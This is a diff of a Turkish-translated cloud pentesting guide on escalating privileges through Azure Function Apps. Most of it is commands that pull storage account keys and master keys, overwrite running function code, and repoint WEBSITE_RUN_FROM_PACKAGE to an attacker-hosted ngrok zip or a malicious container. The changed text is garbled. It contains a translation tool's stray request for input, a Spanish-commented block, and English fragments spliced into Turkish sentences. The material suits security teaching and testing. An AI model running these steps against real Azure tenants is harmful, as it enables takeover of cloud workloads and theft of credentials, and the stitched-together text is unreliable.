diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index ea02af10b..c25186dd7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -4,7 +4,7 @@ ## Function Apps -Daha fazla bilgi için aşağıdaki sayfayı kontrol edin: +Daha fazla bilgi için aşağıdaki sayfayı inceleyin: {{#ref}} ../az-services/az-function-apps.md @@ -12,26 +12,26 @@ Daha fazla bilgi için aşağıdaki sayfayı kontrol edin: ### Bucket Read/Write -Fonksiyon verilerini depolayan Storage Account içindeki konteynerleri okuma izinleri ile **farklı konteynerler** (özel veya önceden tanımlanmış isimlerle) bulmak mümkündür; bu konteynerler **fonksiyon tarafından yürütülen kodu** içerebilir. +Fonksiyon verilerini depolayan Storage Account içindeki container'ları okuma izinleriniz varsa, **farklı container'lar** (özel veya ön tanımlı isimlerle) bulabilirsiniz; bunlar **fonksiyon tarafından çalıştırılan kodu** içerebilir. -Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda, eğer üzerinde yazma izinleriniz varsa, fonksiyonu herhangi bir kodu yürütmesi için ayarlayabilir ve fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltebilirsiniz. +Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda ve üzerinde yazma izniniz varsa, fonksiyonun herhangi bir kodu çalıştırmasını sağlayabilir ve fonksiyona bağlı managed identities'in ayrıcalıklarını yükseltebilirsiniz. -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)` -Fonksiyonun kodu genellikle bir dosya paylaşımında saklanır. Yeterli erişim ile kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkündür; bu da fonksiyona bağlı yönetilen kimliklere ayrıcalıkları yükseltmeyi sağlar. +Fonksiyonun kodu genellikle bir file share içinde depolanır. Yeterli erişimle kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkün olup bu, Function'a bağlı managed identities'in ayrıcalıklarını yükseltmeye olanak tanır. -Bu dağıtım yöntemi genellikle **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ve **`WEBSITE_CONTENTSHARE`** ayarlarını yapılandırır; bunları alabilirsiniz. +This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Bu yapılandırmalar, Fonksiyonun koda erişmek için kullanabileceği **Storage Account Key**'ni içerecektir. +Bu konfigürasyonlar, Function'ın koda erişmek için kullanabileceği **Storage Account Key**'i içerecektir. > [!CAUTION] -> Dosya Paylaşımına bağlanmak ve **script'i değiştirmek** için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. +> File Share'a bağlanmak ve çalışan **modify the script** üzerinde değişiklik yapma yetkisine sahip olunması durumunda Function içinde execute arbitrary code gerçekleştirmek ve escalate privileges mümkün olabilir. -Aşağıdaki örnek, dosya paylaşımına bağlanmak için macOS kullanmaktadır, ancak dosya paylaşımları hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol etmeniz önerilir: +Aşağıdaki örnek, file share'a bağlanmak için macOS kullanmaktadır; ancak file share'ler hakkında daha fazla bilgi için şu sayfayı da incelemeniz önerilir: {{#ref}} ../az-services/az-file-shares.md @@ -47,26 +47,26 @@ open "smb://.file.core.windows.net/" ``` - **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`) -Fonksiyon uygulamasının kullandığı Storage Account konteynerinin `function-releases` klasöründe **zip sürümlerini** bulmak da yaygındır, bu klasör genellikle **`function-releases`** olarak adlandırılır. +Ayrıca, function app'in kullandığı Storage Account konteynerindeki `function-releases` klasörü içinde **zip sürümlerini** bulmak da yaygındır; konteyner genellikle **`function-releases`** olarak adlandırılır. -Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` yapılandırmasını ayarlayacaktır: +Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` konfigürasyonunu şu yerde ayarlar: ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -Bu yapılandırma genellikle **Storage Account'tan kodu indirmek için bir SAS URL'si** içerecektir. +This config will usually contain a **SAS URL to download** the code from the Storage Account. > [!CAUTION] -> **Zip içinde kodu içeren** blob konteynerine bağlanmak için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları artırmak mümkündür. +> Yeterli izinle, **contains the code in zip** içeren blob container'a bağlanılarak Function içinde arbitrary code çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. -- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` +- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`) -Önceki durumda olduğu gibi, dağıtım Github Actions aracılığıyla yapıldığında, **`github-actions-deploy`** adlı klasörü bulmak mümkündür; bu klasör, kodun bir zip'ini ve `WEBSITE_RUN_FROM_PACKAGE` ayarındaki zip için bir SAS URL'sini içerir. +Önceki durumda olduğu gibi, dağıtım Github Actions ile yapıldıysa Storage Account içinde kodun bir zip'ini içeren **`github-actions-deploy`** klasörünü ve zip için `WEBSITE_RUN_FROM_PACKAGE` ayarında bulunan bir SAS URL'sini bulmak mümkündür. -- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) +- **`scm-releases`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`) -Fonksiyon verilerini depolayan Storage Account içindeki konteynerleri okuma iznine sahip olduğunuzda, **`scm-releases`** konteynerini bulmak mümkündür. Orada, **Squashfs dosya sistemi dosya formatında** en son sürümü bulmak ve dolayısıyla fonksiyonun kodunu okumak mümkündür: +Function verilerini saklayan Storage Account içindeki container'ları okuma iznine sahip olunduğunda **`scm-releases`** container'ını bulmak mümkündür. Orada en son release'in **Squashfs filesystem file format** halinde olduğu bulunabilir ve dolayısıyla Function'ın kodunu okumak mümkün olur: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-.zip" mkdir /tmp/fs unsquashfs -d /tmp/fs /tmp/scm-latest-.zip ``` -Ayrıca, **``** klasörü içindeki **`azure-webjobs-secrets`** konteynerinde depolanan **master ve functions anahtarlarını** bulmak da mümkündür. +Ayrıca storage account içinde, container'daki **`azure-webjobs-secrets`** altında yer alan **``** klasöründeki JSON dosyalarında **master ve functions anahtarlarını** bulmak da mümkündür. > [!CAUTION] -> **Zip uzantılı bir dosyada** (aslında bir **`squashfs`** olan) kodu içeren blob konteynerine bağlanmak için yeterli izne sahip olduğunuzda, Fonksiyonda rastgele kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. +> Kodun bir **zip extension file** içinde bulunduğu blob container'a bağlanmak için yeterli izin varsa (aslında bir **`squashfs`**), Function içinde keyfi kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür. ```bash # Modify code inside the script in /tmp/fs adding your code @@ -118,11 +118,11 @@ az storage blob upload \ ``` ### `Microsoft.Web/sites/host/listkeys/action` -Bu izin, belirtilen işlevin işlev, ana ve sistem anahtarlarını listelemeye izin verir, ancak ana anahtarı listelemez: +Bu izin, belirtilen function için function, master ve system anahtarlarını (host olanı hariç) listelemeye izin verir: ```bash az functionapp keys list --resource-group --name ``` -Ana anahtarı ile, bir URL'deki kaynak koduna erişmek de mümkündür: +master key ile ayrıca şu gibi bir URL'den kaynak kodunu almak da mümkündür: ```bash # Get "script_href" from az rest --method GET \ @@ -130,70 +130,91 @@ az rest --method GET \ # Access curl "?code=" -## Python example: +# Python function app example curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v +# JavaScript function app example +curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v ``` -Ve **işlevde yürütülen kodu değiştirmek** için: +Ve fonksiyonda **çalıştırılan kodu değiştirmek** için: ```bash # Set the code to set in the function in /tmp/function_app.py -## The following continues using the python example +## Python function app example curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \ --data-binary @/tmp/function_app.py \ -H "Content-Type: application/json" \ -H "If-Match: *" \ -v + +# NodeJS function app example +curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \ +--data-binary @/tmp/index.js \ +-H "Content-Type: application/json" \ +-H "If-Match: *" \ +-v ``` ### `Microsoft.Web/sites/functions/listKeys/action` -Bu izin, belirtilen işlevin anahtarını almak için kullanılır: +Bu izin, belirtilen fonksiyonun varsayılan anahtarını şu şekilde almayı sağlar: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` +Elde edilen varsayılan anahtarı kullanarak fonksiyonu çağırın: +```bash +curl "https://.azurewebsites.net/api/?code=" +``` ### `Microsoft.Web/sites/host/functionKeys/write` -Bu izin, belirtilen işlevin bir işlev anahtarını oluşturmasına/güncellemesine olanak tanır: +Bu izin, belirtilen function için bir function key oluşturma/güncelleme yapmaya izin verir: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` ### `Microsoft.Web/sites/host/masterKey/write` -Bu izin, belirtilen işlev için bir anahtar oluşturmayı/güncellemeyi sağlar: +Bu izin, belirtilen function için bir master key oluşturmayı veya güncellemeyi sağlar: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` > [!CAUTION] -> Bu anahtar ile daha önce açıklandığı gibi kaynak koda erişebilir ve onu değiştirebilirsiniz! +> Bu anahtar ile daha önce açıklandığı gibi kaynak koda da erişebileceğinizi ve onu değiştirebileceğinizi unutmayın! ### `Microsoft.Web/sites/host/systemKeys/write` -Bu izin, belirtilen işlev için bir sistem işlev anahtarı oluşturmayı/güncellemeyi sağlar: +Bu izin, belirtilen fonksiyon için bir system function key oluşturulmasına/güncellenmesine izin verir: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` +Çeviriye başlamam için lütfen "Use the key:" sonrası gelen anahtarı veya çevirmemi istediğiniz src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md dosya içeriğini yapıştırın. İçerik olmadan işlem yapamam. +```bash +# Ejemplo: Acceso a endpoints de Durable Functions +curl "https://.azurewebsites.net/runtime/webhooks/durabletask/instances?code=" + +# Ejemplo: Acceso a Event Grid webhooks +curl "https://.azurewebsites.net/runtime/webhooks/eventgrid?code=" +``` ### `Microsoft.Web/sites/config/list/action` -Bu izin, bir fonksiyonun ayarlarını almayı sağlar. Bu yapılandırmaların içinde, **FULL izinlerle fonksiyonun blob depolamasına erişmek için bir hesap anahtarı içeren** **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** varsayılan değerlerini bulmak mümkün olabilir. +Bu izin bir function'ın ayarlarını almayı sağlar. Bu yapılandırmalar içinde varsayılan değerler **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** bulunabilir; bunlar function'ın blob storage'ına **TAM izinlerle erişmek için bir hesap anahtarı** içerir. ```bash az functionapp config appsettings list --name --resource-group ``` -Ayrıca, bu izin **SCM kullanıcı adı ve şifresini** (eğer etkinse) almak için de kullanılabilir: +Ayrıca, bu izin (etkinse) **SCM username and password**'i şu komutla almayı sağlar: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01" ``` ### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write` -Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeye ve **bu değerleri değiştirmeye** olanak tanır. Bu, bu ayarların, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için faydalıdır. +Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeyi ve ayrıca **bu değerleri değiştirmeyi** sağlar. Bu, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için kullanışlıdır. -Bu nedenle, bir web uygulaması içinde çalıştırılacak yeni kodu içeren bir URL zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür: +Bu nedenle, web uygulaması içinde çalıştırılacak yeni kodu içeren bir zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür: -- Mevcut yapılandırmayı alarak başlayın +- Önce mevcut config'i alın ```bash az functionapp config appsettings list \ --name \ --resource-group ``` -- Çalıştırmak istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın. +- Fonksiyonun çalıştırmasını istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın. ```bash # Write inside /tmp/web/function_app.py the code of the function cd /tmp/web/function_app.py @@ -203,9 +224,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna **`WEBSITE_RUN_FROM_PACKAGE`** konfigürasyonunu ekleyin, bu konfigürasyon kodu içeren **zip** dosyasının URL'sine işaret etmelidir. +- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna kodu içeren **zip**'e işaret eden URL'yi gösteren **`WEBSITE_RUN_FROM_PACKAGE`** ayarını ekleyin. -Aşağıda, **kendi ayarlarımın** bir örneği bulunmaktadır, değerleri **sizin için** değiştirmeniz gerekecek, sonunda `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin, bu benim uygulamayı barındırdığım yerdir. +Aşağıda benim **kendi ayarlarıma ait bir örnek (değerleri kendi ortamınıza göre değiştirmeniz gerekecek)** yer almaktadır; sondaki `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin — uygulamayı burada barındırıyordum. ```bash # Modify the function az rest --method PUT \ @@ -215,7 +236,7 @@ az rest --method PUT \ ``` ### `Microsoft.Web/sites/hostruntime/vfs/write` -Bu izinle, bir uygulamanın kodunu **web konsolu aracılığıyla** (veya aşağıdaki API uç noktası aracılığıyla) değiştirmek **mümkündür**: +Bu izin ile web konsolu üzerinden (veya aşağıdaki API endpoint aracılığıyla) bir uygulamanın kodunu **değiştirmek mümkündür**: ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -223,10 +244,29 @@ az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \ --headers '{"Content-Type": "application/json", "If-Match": "*"}' \ --body @/tmp/body + +# Through the SCM URL (using Azure permissions or SCM creds) +az rest --method PUT \ +--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \ +--resource "https://management.azure.com/" \ +--headers "If-Match=*" \ +--body 'module.exports = async function (context, req) { +context.log("JavaScript HTTP trigger function processed a request. Training Demo 2"); + +const name = (req.query.name || (req.body && req.body.name)); +const responseMessage = name +? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2" +: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2"; + +context.res = { +// status: 200, /* Defaults to 200 */ +body: responseMessage +}; +}' ``` ### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`) -Bu izinler, temel olarak **temel kimlik doğrulama kimlik bilgilerini** içeren tüm yayın profillerini listelemeye olanak tanır: +Bu izin, temelde **basic auth credentials** içeren tüm publishing profiles'i listelemeye olanak tanır: ```bash # Get creds az functionapp deployment list-publishing-profiles \ @@ -234,7 +274,7 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Başka bir seçenek, kendi kimlik bilgilerinizi ayarlamak ve bunları kullanmaktır: +Bir diğer seçenek kendi creds'inizi ayarlamak ve bunları kullanmak olacaktır: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ @@ -242,7 +282,7 @@ az functionapp deployment user set \ ``` - Eğer **REDACTED** kimlik bilgileri -Eğer bu kimlik bilgilerini **REDACTED** olarak görüyorsanız, bunun nedeni **SCM temel kimlik doğrulama seçeneğini etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne ihtiyacınız var (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +Eğer bu kimlik bilgilerinin **REDACTED** olduğunu görüyorsanız, bunun nedeni **SCM basic authentication option'ı etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ihtiyacınız vardır. ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -264,7 +304,7 @@ az rest --method PUT \ ``` - **Method SCM** -Sonra, **bu temel kimlik bilgileri ile fonksiyon uygulamanızın SCM URL'sine** erişebilir ve env değişkenlerinin değerlerini alabilirsiniz: +Ardından, bu **basic auth credentials to the SCM URL** ile function app'inizin SCM URL'sine erişebilir ve env variables değerlerini alabilirsiniz: ```bash # Get settings values curl -u ':' \ @@ -275,11 +315,11 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_Not edin ki **SCM kullanıcı adı** genellikle "$" karakteri ile uygulama adının takip eden kısmıdır, yani: `$`._ +_Not: **SCM kullanıcı adı** genellikle "$" karakteri ile başlayıp uygulama adıyla devam eder, yani: `$`._ -Web sayfasına `https://.scm.azurewebsites.net/BasicAuth` adresinden de erişebilirsiniz. +Bu web sayfasına ayrıca şu adresten de erişebilirsiniz: `https://.scm.azurewebsites.net/BasicAuth` -Ayar değerleri, fonksiyon uygulamasının verilerini depolayan depolama hesabının **AccountKey**'sini içerir ve bu depolama hesabını kontrol etmeye olanak tanır. +Ayar değerleri, function app'in verilerini depolayan storage account'un **AccountKey**'ini içerir; bu da o storage account'u kontrol etmenize olanak tanır. - **Yöntem FTP** @@ -297,19 +337,19 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_Not edin ki **FTP kullanıcı adı** genellikle \\\$\ formatındadır._ +_Not: **FTP username** genellikle \\\$\ formatındadır._ ### `Microsoft.Web/sites/hostruntime/vfs/read` -Bu izin, VFS aracılığıyla uygulamanın **kaynak kodunu okumaya** olanak tanır: +Bu izin, uygulamanın kaynak kodunu VFS aracılığıyla **okumaya** izin verir: ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" ``` ### `Microsoft.Web/sites/functions/token/action` -Bu izinle, daha sonra **master key**'i almak ve böylece fonksiyonun koduna erişip değiştirmek için kullanılabilecek [**admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) almak mümkündür. +Bu izinle [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) alınabilir; bu token daha sonra **master key**'i elde etmek için kullanılabilir ve dolayısıyla function'ın koduna erişip onu değiştirmek mümkün olur. -Ancak, son kontrollerimde hiçbir token döndürülmedi, bu nedenle devre dışı bırakılmış veya artık çalışmıyor olabilir, ama işte bunu nasıl yapacağınız: +Ancak, son kontrollerimde herhangi bir token dönmedi, bu yüzden devre dışı bırakılmış veya artık çalışmıyor olabilir; ama işte nasıl yapacağınız: ```bash # Get admin token az rest --method GET \ @@ -321,7 +361,7 @@ curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \ ``` ### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`) -Bu izinler, **devre dışı bırakılmış** olabilecek fonksiyonları **etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır. +Bu izin, devre dışı bırakılmış olabilecek **fonksiyonları etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır. ```bash # Enable a disabled function az functionapp config appsettings set \ @@ -329,13 +369,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -Aşağıdaki URL'de bir fonksiyonun etkin veya devre dışı olup olmadığını görmek de mümkündür (parantez içindeki izinleri kullanarak): +Aşağıdaki URL'de bir function'ın etkinleştirildiği veya devre dışı bırakıldığı da görülebilir (parantez içindeki izin kullanılarak): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Bu izinlerle, **bir konteyneri çalıştırmak üzere yapılandırılmış bir fonksiyon uygulaması tarafından çalıştırılan konteyneri değiştirmek** mümkündür. Bu, bir saldırganın kötü niyetli bir azure fonksiyon konteyner uygulamasını docker hub'a (örneğin) yüklemesine ve fonksiyonun bunu çalıştırmasına olanak tanır. +Bu izinlerle container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container'ı **bir function app tarafından çalıştırılan container'ı değiştirmek** mümkün. Bu, bir saldırganın kötü amaçlı bir azure function container app'i (örneğin docker hub'a) yüklemesine ve function'ın bunu çalıştırmasını sağlamasına izin verir. ```bash az functionapp config container set --name \ --resource-group \ @@ -343,7 +383,7 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Bu izinlerle, **bir işleve yeni bir kullanıcı yönetilen kimlik eklemek** mümkündür. Eğer işlev tehlikeye atıldıysa, bu herhangi bir kullanıcı yönetilen kimliğine yetki yükseltmeye olanak tanır. +Bu izinlerle bir function'a **attach a new user managed identity** yapmak mümkün. Eğer function ele geçirilmişse, bu herhangi bir user managed identity'ye **escalate privileges** yapılmasına olanak tanır. ```bash az functionapp identity assign \ --name \ @@ -352,20 +392,20 @@ az functionapp identity assign \ ``` ### Uzaktan Hata Ayıklama -Çalışan bir Azure fonksiyonunu hata ayıklamak için bağlanmak da mümkündür, [**belgelerde açıklandığı gibi**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak, varsayılan olarak Azure, geliştiricinin savunmasız yapılandırmalar bırakmaması için bu seçeneği 2 gün içinde kapatacaktır. +Çalışan bir Azure Function'a bağlanıp hata ayıklamak da mümkündür, [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak varsayılan olarak, geliştiricinin unutması durumunda savunmasız yapılandırmaları açık bırakmamak için Azure bu seçeneği 2 gün içinde kapalı duruma getirecektir. -Bir Fonksiyonun hata ayıklamanın etkin olup olmadığını kontrol etmek mümkündür: +Bir Function'un hata ayıklamanın etkin olup olmadığını şu komutla kontrol etmek mümkündür: ```bash az functionapp show --name --resource-group ``` -`Microsoft.Web/sites/config/write` iznine sahip olmak, bir işlevi hata ayıklama moduna almak da mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir). +`Microsoft.Web/sites/config/write` iznine sahip olmak, bir function'ı hata ayıklama moduna geçirmek için de mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir). ```bash az functionapp config set --remote-debugging-enabled=True --name --resource-group ``` -### Github deposunu değiştirme +### Github repo'yu değiştir -Github deposunu değiştirmek için aşağıdaki komutları çalıştırdım ama değişse bile, **yeni kod yüklenmedi** (muhtemelen Github Action'ın kodu güncellemesini beklediği için).\ -Ayrıca, **yönetilen kimlik federasyon kimlik bilgisi güncellenmedi** ve yeni depoya izin vermedi, bu yüzden bu pek faydalı görünmüyor. +Dağıtımın gerçekleştiği Github repo'yu aşağıdaki komutları çalıştırarak değiştirmeyi denedim fakat değişse bile **yeni kod yüklenmedi** (muhtemelen kodu güncellemesi için Github Action'ı beklediği için).\ +Ayrıca, **managed identity federated credential wasn't updated**, yeni repository'ye izin vermediği için bunun çok kullanışlı olmadığı görünüyor. ```bash # Remove current az functionapp deployment source delete \